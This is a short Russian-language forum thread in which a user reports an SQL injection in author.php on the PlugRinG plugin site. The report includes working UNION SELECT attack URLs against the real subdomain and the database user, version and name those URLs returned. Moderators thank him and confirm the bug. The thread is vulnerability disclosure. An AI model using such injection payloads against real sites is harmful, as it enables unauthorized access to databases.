Уязвимость на сайте.

Здесь можно обсудить сайт PlugRinG и предложить идеи по его дальнейшему развитию.
n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Postby n3m1s » Fri 13 Feb, 2015 14:40

Приветствую. Сразу к делу. Уязвимость типа SQL Injection на поддомене plugring.

Уязвимый скрипт: author.php, параметр aid.
Вектор атаки: xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
Вывод user, version, database: xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8,9,10,11,12,13,14--
Ответ: plugring@localhost:5.5.41-0ubuntu0.14.04.1:plugring

С уважением n3m1s.

n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Postby n3m1s » Fri 13 Feb, 2015 14:47

Если что - nn3m1ss@xnteam.ru

User avatar
HaRT
Moderator
Posts: 7880
Joined: Tue 30 Aug, 2005 17:21
Location: Санкт-Петербург
Has thanked: 62 times
Been thanked: 93 times

Уязвимость на сайте.

Postby HaRT » Fri 13 Feb, 2015 14:51

n3m1s, спасибо.
Надеюсь, админы отреагируют.
Фар есть инструмент, а не нянька. © 2009 DrKnS

User avatar
WARP ItSelf
Самый умный
Posts: 1011
Joined: Tue 15 Mar, 2005 23:19
Contact:

Уязвимость на сайте.

Postby WARP ItSelf » Fri 13 Feb, 2015 17:52

Есть такое, спасибо.
Никто не знал, а я...


Return to “Обсуждение PlugRinG”

Who is online

Users browsing this forum: No registered users and 1 guest